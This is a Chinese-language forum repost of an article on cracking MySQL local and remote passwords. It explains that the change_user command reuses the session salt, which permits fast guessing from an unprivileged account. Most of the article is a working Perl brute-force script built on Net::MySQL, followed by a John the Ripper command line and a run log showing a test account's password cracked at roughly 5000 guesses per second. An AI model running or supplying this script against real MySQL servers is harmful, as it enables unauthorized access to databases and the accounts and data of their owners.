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破解MySQL本地和远程密码

Jun 07, 2016 pm 03:13 PM
linux mysql password local crack Enter Remotely

欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入 快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。 我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户

欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入

  快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

  我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

  方法如下:

  攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

  是什么导致非常慢?

  因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

  下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

  测试的用户是 crackme 密码为 pass,只需数秒就可破解。

  (大约 20 秒钟可测试 10 万密码)

  测试脚本如下:

  use Net::MySQL;

  $|=1;

  my $mysql = Net::MySQL->new(

  hostname => '192.168.2.3',

  database => 'test',

  user     => "user",

  password => "secret",

  debug => 0,

  );

  $crackuser = "crackme";

  while() {

  chomp;

  $currentpass = $_;

  $vv = join "\0",

  $crackuser,

  "\x14".

  Net::MySQL::Password->scramble(

  $currentpass, $mysql->{salt}, $mysql->{client_capabilities}

  ) . "\0";

  if ($mysql->_execute_command("\x11", $vv) ne undef) {

  print "[*] Cracked! --> $currentpass\n";

  exit;

  }

  }

  下面是我这台机器上的执行结果:

  C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo

  hn --incremental --stdout=5 | perl mysqlcrack.pl

  Warning: MaxLen = 8 is too large for the current hash type, reduced to 5

  words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH

  words: 24573  time: 0:00:00:04  w/s: 4916  current: rap

  words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3

  words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429

  words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141

  words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n

  words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2

  [*] Cracked! --> pass

  words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs

  Session aborted

  via grok

破解MySQL本地和远程密码

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